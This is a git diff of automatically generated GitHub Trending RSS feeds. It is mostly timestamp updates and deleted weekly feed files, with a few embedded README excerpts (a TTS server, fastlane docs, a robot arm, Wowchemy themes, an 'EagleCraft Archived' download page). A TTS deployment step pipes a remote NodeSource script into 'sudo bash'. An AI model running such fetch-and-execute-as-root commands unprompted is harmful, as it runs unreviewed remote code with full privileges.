<pre><code class="language-bash">http://ip:3035/ </code></pre> <hr> <h4>利用Vercel部署</h4> <p><a href="https://vercel.com/new/clone?utm_source=busiyi&amp;utm_campaign=oss&amp;repository-url=https://github.com/x-dr/tts"><img src="https://vercel.com/button?utm_source=busiyi&amp;utm_campaign=oss" alt="Deploy with Vercel"></a></p> <h4>利用Linux服务器部署</h4> <ol> <li>安装nodejs (如果已经安装过nodejs则跳过此步骤)</li> </ol> <pre><code class="language-bash">curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash - sudo apt-get install -y nodejs </code></pre> <ol start="2"> <li>安装git (如果已经安装过git则跳过此步骤)</li> </ol> <pre><code class="language-bash">sudo apt-get install git </code></pre> <ol start="3"> <li>下载项目</li> </ol> <pre><code class="language-bash">git clone https://github.com/x-dr/tts.git </code></pre> <ol start="4"> <li>安装依赖</li> </ol> <pre><code class="language-bash">cd tts npm install </code></pre> <ol start="5"> <li>运行项目</li> </ol> <pre><code class="language-bash">node index.js </code></pre> <ol start="6"> <li>访问地址</li> </ol> <pre><code class="language-bash">http://ip:3035/ </code></pre> <h3>3. 使用说明</h3> + mowzk/repo-recon + 2023-10-30T01:29:22Z + tag:github.com,2023-10-30:/mowzk/repo-recon + + <p>CTF Challenge for Fetch the Flag 2023</p><hr> - EAGLECRAFTARCHIVE/EagleCraft-Download - 2023-10-29T01:33:22Z - tag:github.com,2023-10-29:/EAGLECRAFTARCHIVE/EagleCraft-Download - - <p>EagleCraft Archived</p><hr><p>As you know eaglecraft has been shut down. A lot of people who didn't download before it shut down couldn't get eaglecraft. I have good news. It's back to download for everyone! Download now before this one gets shut down!!!</p> <p><img src="https://user-images.githubusercontent.com/119814547/205516681-f8a1329f-78a7-4370-a6db-d98a959a8f34.png" alt="OK"></p> <p>𝙃𝙊𝙒 𝙏𝙊 𝘿𝙊𝙒𝙉𝙇𝙊𝘼𝘿</p> <ol> <li>Click on "Offline_Download_Version.html"</li> <li>Press "Download"</li> <li>Right click on page and press "Save As"</li> <li>Open File</li> </ol> <hr> <p>DISCLAIMER: I DO NOT WORK FOR EAGLECRAFT!</p> + fastlane/docs + 2023-10-30T01:29:22Z + tag:github.com,2023-10-30:/fastlane/docs + + <p>All the fastlane docs</p><hr><h1>fastlane docs</h1> <p>This repo contains all documentation for fastlane. You can find the <code>.md</code> files inside the <a href="https://raw.githubusercontent.com/fastlane/docs/master/docs">docs</a> folder.</p> <p>To preview the updated documentation locally, just clone the repo, modify the file, and run. Note that some of the files are in <a href="https://raw.githubusercontent.com/fastlane/docs/master/docs/generated">generated</a> folder and are later copied with <code>mkdocs</code> pre-build hook.</p> <pre><code>mkdocs serve </code></pre> <p>The live version is available on <a href="https://docs.fastlane.tools">docs.fastlane.tools</a>.</p> <h2>Why new docs?</h2> <p>You can find more information <a href="https://github.com/fastlane/docs/issues/5">here</a></p> <h2>Deploy changes</h2> <p>Once a PR is merged into master, the latest version will automatically be deployed to <a href="https://docs.fastlane.tools">docs.fastlane.tools</a> by one of the hard-working fastlane bots. No need to do anything manually. The resulting HTML files are stored in the <a href="https://github.com/fastlane/docs/tree/gh-pages"><code>gh-pages</code></a> branch.</p> <h2>Installation of <a href="http://www.mkdocs.org/">mkdocs</a></h2> <pre><code class="language-sh">brew install python3 # if you don't have pip already brew install pipenv pipenv --three # install dependencies from Pipfile.lock and run shell pipenv install pipenv shell </code></pre> <h2>Adding a Python dependency</h2> <p>Likely, to add a <a href="https://pythonhosted.org/Markdown/extensions/">Markdown extension</a>, install it with <code>pipenv install &lt;some extension&gt;</code> after making sure the virtualenv is loaded (<code>pipenv shell</code>).</p> <h2>Troubleshooting local docs server</h2> <p>Running a local server with <code>mkdocs serve</code> takes several minutes. It looks like <code>mkdocs</code> needs some time to read <code>available-plugins.md</code>. It can be confirmed by running <code>mkdocs serve --verbose</code> as <code>mkdocs</code> is stuck at reading this file.</p> <p>To test changes on pages other than the list of available plugins, it is convenient to edit <code>docs/generated/available-plugins.md</code>, removing all of its content and saving the file before running <code>mkdocs serve</code>.</p> \ No newline at end of file diff --git a/html/weekly/index.xml b/html/weekly/index.xml deleted file mode 100644 index 1b76551abcf..00000000000 --- a/html/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub HTML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:56Z - Weekly Trending of HTML in GitHub - - - PCrnjak/PAROL6-Desktop-robot-arm - 2023-10-29T01:53:56Z - tag:github.com,2023-10-29:/PCrnjak/PAROL6-Desktop-robot-arm - - <p></p><hr><h1>PAROL6-Desktop-robot-arm</h1> <p><a href="https://opensource.org/license/gpl-3-0/"><img src="https://img.shields.io/badge/license-GPLv3-blue" alt="License: MIT"></a> <img src="https://raw.githubusercontent.com/PCrnjak/PAROL6-Desktop-robot-arm/main/Images/img3.png" alt="drawing" width="5000"></p> <p><a href="https://source-robotics.com">https://source-robotics.com</a></p> <p><strong>If you are interested in beta batch of PAROL6 PCB? Fill this form and get contacted when available: <a href="https://forms.gle/sZqHVLPoMJxuVAyJ9">https://forms.gle/sZqHVLPoMJxuVAyJ9</a></strong></p> <p><strong>If you are interested in this robotic arm fill out this form: <a href="https://forms.gle/XkSvStwnQxw1f8xL8">https://forms.gle/XkSvStwnQxw1f8xL8</a></strong></p> <p>Join <a href="https://discord.com/invite/prjUvjmGpZ">Discord</a> community!</p> <p>PAROL6 is a high-performance 3D-printed desktop robotic arm. The design approach of PAROL6 was to be similar to industrial robots in terms of mechanical design, control software, and usability. Control software, GUI, and robots STL files are open-source. You can build your own PAROL6 robot by following the instructions on this page.</p> <h1>How to start building?</h1> <h1>Documentation:</h1> <ul> <li><a href="https://source-robotics.com">Official website</a></li> <li><a href="https://github.com/PCrnjak/PAROL-commander-software">Commander software</a></li> <li><a href="https://github.com/PCrnjak/PAROL6-Desktop-robot-arm/tree/main/Building%20instructions">Building instructions</a></li> <li><a href="https://github.com/PCrnjak/PAROL6-Desktop-robot-arm/tree/main/BOM">BOM</a></li> <li><a href="https://source-robotics.github.io/PAROL-docs/">DOCS</a></li> </ul> <h1>More about PAROL6</h1> <ul> <li><a href="https://www.youtube.com/channel/UCp3sDRwVkbm7b2M-2qwf5aQ">Youtube</a></li> <li><a href="https://hackaday.io/project/191860-parol6-desktop-robotic-arm">Hackaday</a></li> <li><a href="https://www.instagram.com/5arcrnjak/">Instagram</a></li> <li><a href="https://source-robotics.github.io/PAROL-docs/">DOCS</a></li> <li><a href="https://twitter.com/SourceRobotics">Twitter</a></li> </ul> <h1>Project is under GPLv3 Licence</h1> - - - wowchemy/wowchemy-hugo-themes - 2023-10-29T01:53:56Z - tag:github.com,2023-10-29:/wowchemy/wowchemy-hugo-themes - - <p>😍 EASILY BUILD THE WEBSITE YOU WANT - NO CODE, JUST MARKDOWN BLOCKS! 使用块轻松创建任何类型的网站 - 无需代码。 一个应用程序,没有依赖项,没有 JS</p><hr><p><a href="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/README.zh.md"><strong>中文</strong></a></p> <p align="center"><a href="https://wowchemy.com/templates/" target="_blank" rel="noopener"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/sharing.png" alt="Wowchemy Website Builder"></a></p> <p><a href="https://wowchemy.com/templates/"><img src="https://img.shields.io/badge/-Get%20started-ff4655?style=for-the-badge" alt="Get Started"></a> <a href="https://discord.com/channels/722225264733716590/742892432458252370/742895548159492138"><img src="https://img.shields.io/discord/722225264733716590?style=for-the-badge" alt="Discord"></a> <a href="https://github.com/sponsors/gcushen"><img src="https://img.shields.io/github/sponsors/gcushen?label=%E2%9D%A4%EF%B8%8F%20sponsor&amp;style=for-the-badge" alt="GitHub Sponsors"></a> <a href="https://twitter.com/wowchemy"><img src="https://img.shields.io/twitter/follow/wowchemy?label=Follow%20on%20Twitter&amp;style=for-the-badge" alt="Twitter Follow"></a> <a href="https://github.com/gcushen"><img src="https://img.shields.io/github/followers/gcushen?label=Follow%20on%20GH&amp;style=for-the-badge" alt="GitHub followers"></a></p> <h1><a href="https://wowchemy.com">Wowchemy</a>: the all-in-one website builder</h1> <h3>Join 750,000+ Sites. No Code. Easily Create Future-Proof Websites ✏️ 📰 🚀</h3> <p>🔥 <strong>1. Create <em>any</em> kind of website for free with <a href="https://gohugo.io">Hugo</a>-powered blocks</strong> - from landing pages, knowledge bases, and courses to professional resumés, conferences, and tech blogs</p> <p>🎨 <strong>2. Personalize</strong> a beautiful starter template with <strong>50+ light/dark color themes, language packs, and blocks</strong></p> <p>🛋 <strong>3. Optionally, write from your sofa or on the go with the integrated open source Content Management System (CMS) based on <a href="https://university.wowchemy.com/getting-started/cms/decap/">Decap CMS</a></strong></p> <p style="text-align: center"><a href="https://wowchemy.com/templates/" target="_blank" rel="noopener"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/write-from-phone.gif" alt="Wowchemy CMS"></a></p> <p><a href="https://wowchemy.com/templates/">Check out the latest <strong>demos</strong></a> of what you'll get in less than 60 seconds, or <a href="https://wowchemy.com/creators/">get <strong>inspired</strong></a> by other creators.</p> <ul> <li>👉 <a href="https://wowchemy.com/templates/"><strong>Get Started</strong></a></li> <li>📚 <a href="https://university.wowchemy.com/">View the <strong>documentation</strong></a></li> <li>🙋‍♀️ <strong>Have a question?</strong> <ul> <li><strong>Chat with us now on <a href="https://discord.gg/z8wNYzb">Discord</a></strong> or explore the <a href="https://university.wowchemy.com/reference/troubleshooting/">Troubleshooting Guide</a> and <a href="https://github.com/wowchemy/wowchemy-hugo-themes/discussions">Q&amp;A Forum</a></li> <li><em>Also, check out <a href="https://discourse.gohugo.io">Hugo Forum</a> for Hugo Qs and <a href="https://answers.netlify.com/">Netlify Forum</a> for Netlify Qs</em></li> </ul> </li> <li>🐦 Share your Wowchemy site with the community on Twitter: <a href="https://twitter.com/wowchemy">@wowchemy</a> <a href="https://twitter.com/GeorgeCushen">@GeorgeCushen</a> <a href="https://twitter.com/search?q=%23MadeWithWowchemy&amp;src=typed_query">#MadeWithWowchemy</a></li> <li>🗳 <a href="https://forms.gle/NioD9VhUg7PNmdCAA">Take the survey and help us improve #OpenSource</a></li> <li>⬆️ <strong>Updating?</strong> View the <a href="https://university.wowchemy.com/reference/update/">Update Guide</a> and <a href="https://github.com/wowchemy/wowchemy-hugo-themes/releases">Release Notes</a></li> <li>🚀 <a href="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/CONTRIBUTING.md">Contribute improvements</a> or <a href="https://github.com/wowchemy/wowchemy-hugo-themes/issues">suggest improvements</a></li> </ul> <h2>💙 We ask you, humbly, to support this open source movement</h2> <p>Today we ask you to defend the open source independence of the Wowchemy website builder and themes 🐧</p> <p>We're an <strong>open source and open science movement</strong> that depends on your support to stay online and thriving, but 99.9% of our creators don't give; they simply look the other way 🤦🏻‍♀️</p> <h3><a href="https://github.com/sponsors/gcushen">😍️ Click here to become a GitHub Sponsor, unlocking awesome perks such as <em>exclusive templates, widgets, and tutorials</em></a></h3> <h3>Business Sponsors</h3> <div style="display: grid; column-gap: 50px; grid-template-columns: repeat(3, 1fr);"> <div style="display: flex; align-items: center;"> <a href="https://www.netlify.com/" target="_blank"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/sponsors/netlify.svg?sanitize=true" alt="" height="40" width="147" style="display: inline-block;"></a> </div> <div> <a href="https://github.com/sponsors/gcushen"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/sponsors/your-logo-here.png" alt="" style="display: inline-block;"></a> </div> </div> <h2>Starter Templates</h2> <p>Wowchemy is a <strong>no-code</strong> framework for creating <em>any</em> kind of website using <strong>widgets</strong>. Each site is 100% customizable to <strong>make it your own</strong>!</p> <p>Choose from one of the starter templates to easily get started:</p> <p><a href="https://wowchemy.com/templates/"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/starters.webp" alt="Writing technical content"></a></p> <h2>The Future of Technical Content Writing</h2> <p><strong>Write rich, future-proof content</strong> using standardized Markdown along with bundled extensions for math and diagrams. Edit in the open source CMS or via an editor such as the online GitHub Editor, Jupyter Notebook, or RStudio! <a href="https://university.wowchemy.com/reference/markdown/">Learn more</a></p> <p><a href="https://academic-demo.netlify.app/post/writing-technical-content/"><img src="https://wowchemy.com/uploads/readmes/writing-technical-content.gif" alt="Writing technical content"></a></p> <h2>Features</h2> <p><a href="https://wowchemy.com/templates/"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/academic.png" alt="Screenshot"></a></p> <p><strong>Key features:</strong></p> <ul> <li><strong>Page builder</strong> - Create <em>anything</em> with <a href="https://university.wowchemy.com/getting-started/page-builder/"><strong>blocks</strong></a> and <a href="https://university.wowchemy.com/reference/markdown/"><strong>elements</strong></a></li> <li><strong>Edit any type of content</strong> - Blog posts, publications, talks, slides, projects, and more!</li> <li><strong>Create content</strong> in <a href="https://university.wowchemy.com/reference/markdown/"><strong>Markdown</strong></a>, <a href="https://university.wowchemy.com/getting-started/cms/"><strong>Jupyter</strong></a>, or <a href="https://university.wowchemy.com/getting-started/cms/rstudio/"><strong>RStudio</strong></a></li> <li><strong>Plugin System</strong> - Fully customizable <a href="https://university.wowchemy.com/getting-started/customize/#appearance"><strong>color</strong> and <strong>font themes</strong></a></li> <li><strong>Display Code and Math</strong> - Code highlighting and <a href="https://university.wowchemy.com/reference/markdown/#math">LaTeX math</a> supported</li> <li><strong>Integrations</strong> - <a href="https://analytics.google.com">Google Analytics</a>, <a href="https://disqus.com">Disqus commenting</a>, Maps, Contact Forms, and more!</li> <li><strong>Beautiful Site</strong> - Simple and refreshing one page design</li> <li><strong>Industry-Leading SEO</strong> - Help get your website found on search engines and social media</li> <li><strong>Media Galleries</strong> - Display your images and videos with captions in a customizable gallery</li> <li><strong>Mobile Friendly</strong> - Look amazing on every screen with a mobile friendly version of your site</li> <li><strong>Multi-language</strong> - 35+ language packs including English, 中文, and Português</li> <li><strong>Multi-user</strong> - Each author gets their own profile page</li> <li><strong>Privacy Pack</strong> - Assists with GDPR</li> <li><strong>Stand Out</strong> - Bring your site to life with animation, parallax backgrounds, and scroll effects</li> <li><strong>One-Click Deployment</strong> - No servers. No databases. Only files.</li> </ul> <h2>Themes</h2> <p>Wowchemy comes with <strong>automatic day (light) and night (dark) mode</strong> built-in. Alternatively, click the moon icon in the top right of one of the <a href="https://wowchemy.com/templates/">Demos</a> to set your preferred mode!</p> <p>Choose a stunning theme for your site and <a href="https://university.wowchemy.com/getting-started/customize/#custom-theme">customize it</a> to your liking:</p> <p><a href="https://wowchemy.com/templates/"><img src="https://raw.githubusercontent.com/wowchemy/wowchemy-hugo-themes/main/.github/media/themes.png" alt="Themes"></a></p> <p><a href="https://wowchemy.com/templates/">Browse more templates and themes...</a></p> <h2>Ecosystem</h2> <ul> <li><a href="https://github.com/wowchemy/bibtex-to-markdown"><strong>Bibtex to Markdown</strong></a>: Automatically import academic publications from BibTeX to Markdown files</li> <li><a href="https://github.com/wowchemy/awesome-hugo"><strong>Awesome Hugo</strong></a>: Scripts to help migrate content to new versions of Hugo</li> </ul> <h2>Join the community</h2> <p>Feel free to <a href="https://github.com/wowchemy/wowchemy-hugo-themes"><em>star</em> the project on Github</a>, <a href="https://discord.gg/z8wNYzb">join the community</a> on Discord, and follow <a href="https://twitter.com/wowchemy">@wowchemy</a> on Twitter to be the first to hear about new features.</p> <h2>License</h2> <p>Copyright 2016-present <a href="https://georgecushen.com">George Cushen</a>.</p> <p>The <a href="https://github.com/wowchemy/wowchemy-hugo-themes/">Wowchemy Hugo Themes</a> repository is released under the <a href="https://github.com/wowchemy/wowchemy-hugo-themes/raw/main/LICENSE.md">MIT</a> license.</p> - - - kwmorris/DnD - 2023-10-29T01:53:56Z - tag:github.com,2023-10-29:/kwmorris/DnD - - <p>Kyle's DnD stuff</p><hr><h1>DnD</h1> - - \ No newline at end of file diff --git a/http/daily/index.xml b/http/daily/index.xml index 1fae505ad2c..de6e626df6d 100644 --- a/http/daily/index.xml +++ b/http/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTTP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:47Z + 2023-10-30T01:29:38Z Daily Trending of HTTP in GitHub \ No newline at end of file diff --git a/http/weekly/index.xml b/http/weekly/index.xml deleted file mode 100644 index 3e4d064ffed..00000000000 --- a/http/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTTP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:18Z - Weekly Trending of HTTP in GitHub - - \ No newline at end of file diff --git a/hxml/daily/index.xml b/hxml/daily/index.xml index c066e2e02d0..0081ffc5d5f 100644 --- a/hxml/daily/index.xml +++ b/hxml/daily/index.xml @@ -1,7 +1,7 @@ GitHub HXML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:53Z + 2023-10-30T01:29:42Z Daily Trending of HXML in GitHub \ No newline at end of file diff --git a/hxml/weekly/index.xml b/hxml/weekly/index.xml deleted file mode 100644 index 14dc649a0c9..00000000000 --- a/hxml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HXML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:21Z - Weekly Trending of HXML in GitHub - - \ No newline at end of file diff --git a/hy/daily/index.xml b/hy/daily/index.xml index 8b48a307582..59dd32a7315 100644 --- a/hy/daily/index.xml +++ b/hy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:54Z + 2023-10-30T01:29:42Z Daily Trending of Hy in GitHub \ No newline at end of file diff --git a/hy/weekly/index.xml b/hy/weekly/index.xml deleted file mode 100644 index 15e9e87771b..00000000000 --- a/hy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Hy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:22Z - Weekly Trending of Hy in GitHub - - \ No newline at end of file diff --git a/hyphy/daily/index.xml b/hyphy/daily/index.xml index 1067dde9cf8..145ef0fc14d 100644 --- a/hyphy/daily/index.xml +++ b/hyphy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HyPhy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:52Z + 2023-10-30T01:29:44Z Daily Trending of HyPhy in GitHub \ No newline at end of file diff --git a/hyphy/weekly/index.xml b/hyphy/weekly/index.xml deleted file mode 100644 index 171657650ef..00000000000 --- a/hyphy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HyPhy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:21Z - Weekly Trending of HyPhy in GitHub - - \ No newline at end of file diff --git a/idl/daily/index.xml b/idl/daily/index.xml index 5392b02b5b0..b9f530d514d 100644 --- a/idl/daily/index.xml +++ b/idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:51Z + 2023-10-30T01:29:43Z Daily Trending of IDL in GitHub \ No newline at end of file diff --git a/idl/weekly/index.xml b/idl/weekly/index.xml deleted file mode 100644 index 99bea429b3d..00000000000 --- a/idl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub IDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:23Z - Weekly Trending of IDL in GitHub - - \ No newline at end of file diff --git a/idris/daily/index.xml b/idris/daily/index.xml index ce743d5fc93..b234fe68ea2 100644 --- a/idris/daily/index.xml +++ b/idris/daily/index.xml @@ -1,7 +1,7 @@ GitHub Idris Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:57Z + 2023-10-30T01:29:45Z Daily Trending of Idris in GitHub \ No newline at end of file diff --git a/idris/weekly/index.xml b/idris/weekly/index.xml deleted file mode 100644 index cbd094496fc..00000000000 --- a/idris/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Idris Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:27Z - Weekly Trending of Idris in GitHub - - \ No newline at end of file diff --git a/ignore-list/daily/index.xml b/ignore-list/daily/index.xml index ea25be887f5..714161467e6 100644 --- a/ignore-list/daily/index.xml +++ b/ignore-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ignore List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:55Z + 2023-10-30T01:29:47Z Daily Trending of Ignore List in GitHub \ No newline at end of file diff --git a/ignore-list/weekly/index.xml b/ignore-list/weekly/index.xml deleted file mode 100644 index ed34e2e0371..00000000000 --- a/ignore-list/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ignore List Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:24Z - Weekly Trending of Ignore List in GitHub - - \ No newline at end of file diff --git a/igor-pro/daily/index.xml b/igor-pro/daily/index.xml index b11f7af9804..f4a132d11c2 100644 --- a/igor-pro/daily/index.xml +++ b/igor-pro/daily/index.xml @@ -1,7 +1,7 @@ GitHub IGOR Pro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:58Z + 2023-10-30T01:29:46Z Daily Trending of IGOR Pro in GitHub \ No newline at end of file diff --git a/igor-pro/weekly/index.xml b/igor-pro/weekly/index.xml deleted file mode 100644 index feda3827dd8..00000000000 --- a/igor-pro/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub IGOR Pro Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:26Z - Weekly Trending of IGOR Pro in GitHub - - \ No newline at end of file diff --git a/imagej-macro/daily/index.xml b/imagej-macro/daily/index.xml index bddb1331786..895b349ef92 100644 --- a/imagej-macro/daily/index.xml +++ b/imagej-macro/daily/index.xml @@ -1,7 +1,7 @@ GitHub ImageJ Macro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:56Z + 2023-10-30T01:29:46Z Daily Trending of ImageJ Macro in GitHub \ No newline at end of file diff --git a/imagej-macro/weekly/index.xml b/imagej-macro/weekly/index.xml deleted file mode 100644 index 2f9ddf9291c..00000000000 --- a/imagej-macro/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ImageJ Macro Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:25Z - Weekly Trending of ImageJ Macro in GitHub - - \ No newline at end of file diff --git a/inform-7/daily/index.xml b/inform-7/daily/index.xml index 8e308a806b5..2d320332b18 100644 --- a/inform-7/daily/index.xml +++ b/inform-7/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inform 7 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:00Z + 2023-10-30T01:29:49Z Daily Trending of Inform 7 in GitHub \ No newline at end of file diff --git a/inform-7/weekly/index.xml b/inform-7/weekly/index.xml deleted file mode 100644 index b663ae5c0b6..00000000000 --- a/inform-7/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Inform 7 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:28Z - Weekly Trending of Inform 7 in GitHub - - \ No newline at end of file diff --git a/ini/daily/index.xml b/ini/daily/index.xml index da613022da7..b70aba9602e 100644 --- a/ini/daily/index.xml +++ b/ini/daily/index.xml @@ -1,7 +1,7 @@ GitHub INI Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:59Z + 2023-10-30T01:29:50Z Daily Trending of INI in GitHub \ No newline at end of file diff --git a/ini/weekly/index.xml b/ini/weekly/index.xml deleted file mode 100644 index 457a75b4e49..00000000000 --- a/ini/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub INI Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:29Z - Weekly Trending of INI in GitHub - - \ No newline at end of file diff --git a/inno-setup/daily/index.xml b/inno-setup/daily/index.xml index 6086fa183ef..6bc898f3f76 100644 --- a/inno-setup/daily/index.xml +++ b/inno-setup/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inno Setup Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:03Z + 2023-10-30T01:29:54Z Daily Trending of Inno Setup in GitHub \ No newline at end of file diff --git a/inno-setup/weekly/index.xml b/inno-setup/weekly/index.xml deleted file mode 100644 index 330ef4eeb3b..00000000000 --- a/inno-setup/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Inno Setup Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:34Z - Weekly Trending of Inno Setup in GitHub - - \ No newline at end of file diff --git a/io/daily/index.xml b/io/daily/index.xml index 53d3ed7d9e6..d546a9f4495 100644 --- a/io/daily/index.xml +++ b/io/daily/index.xml @@ -1,7 +1,7 @@ GitHub Io Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:04Z + 2023-10-30T01:29:52Z Daily Trending of Io in GitHub \ No newline at end of file diff --git a/io/weekly/index.xml b/io/weekly/index.xml deleted file mode 100644 index 32f8a4e651c..00000000000 --- a/io/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Io Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:31Z - Weekly Trending of Io in GitHub - - \ No newline at end of file diff --git a/ioke/daily/index.xml b/ioke/daily/index.xml index 2e63a5e03c7..69ff96ab179 100644 --- a/ioke/daily/index.xml +++ b/ioke/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ioke Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:05Z + 2023-10-30T01:29:53Z Daily Trending of Ioke in GitHub \ No newline at end of file diff --git a/ioke/weekly/index.xml b/ioke/weekly/index.xml deleted file mode 100644 index 7686c15d54a..00000000000 --- a/ioke/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ioke Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:33Z - Weekly Trending of Ioke in GitHub - - \ No newline at end of file diff --git a/irc-log/daily/index.xml b/irc-log/daily/index.xml index aa17d40f63f..568694e2da7 100644 --- a/irc-log/daily/index.xml +++ b/irc-log/daily/index.xml @@ -1,7 +1,7 @@ GitHub IRC log Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:06Z + 2023-10-30T01:29:52Z Daily Trending of IRC log in GitHub \ No newline at end of file diff --git a/irc-log/weekly/index.xml b/irc-log/weekly/index.xml deleted file mode 100644 index 7a674ee3102..00000000000 --- a/irc-log/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub IRC log Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:32Z - Weekly Trending of IRC log in GitHub - - \ No newline at end of file diff --git a/isabelle-root/daily/index.xml b/isabelle-root/daily/index.xml index 9684aec512c..bb865080339 100644 --- a/isabelle-root/daily/index.xml +++ b/isabelle-root/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle ROOT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:10Z + 2023-10-30T01:29:57Z Daily Trending of Isabelle ROOT in GitHub \ No newline at end of file diff --git a/isabelle-root/weekly/index.xml b/isabelle-root/weekly/index.xml deleted file mode 100644 index 29b571cceaf..00000000000 --- a/isabelle-root/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Isabelle ROOT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:38Z - Weekly Trending of Isabelle ROOT in GitHub - - \ No newline at end of file diff --git a/isabelle/daily/index.xml b/isabelle/daily/index.xml index 63e591b6f10..46274eecbcd 100644 --- a/isabelle/daily/index.xml +++ b/isabelle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:07Z + 2023-10-30T01:29:55Z Daily Trending of Isabelle in GitHub \ No newline at end of file diff --git a/isabelle/weekly/index.xml b/isabelle/weekly/index.xml deleted file mode 100644 index 1e1a96812e6..00000000000 --- a/isabelle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Isabelle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:36Z - Weekly Trending of Isabelle in GitHub - - \ No newline at end of file diff --git a/j/daily/index.xml b/j/daily/index.xml index 44e4d364d9c..c61b5b8de86 100644 --- a/j/daily/index.xml +++ b/j/daily/index.xml @@ -1,7 +1,7 @@ GitHub J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:08Z + 2023-10-30T01:29:57Z Daily Trending of J in GitHub \ No newline at end of file diff --git a/j/weekly/index.xml b/j/weekly/index.xml deleted file mode 100644 index 97effb74318..00000000000 --- a/j/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub J Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:37Z - Weekly Trending of J in GitHub - - \ No newline at end of file diff --git a/janet/daily/index.xml b/janet/daily/index.xml index e19add823df..ef37e52ddee 100644 --- a/janet/daily/index.xml +++ b/janet/daily/index.xml @@ -1,7 +1,7 @@ 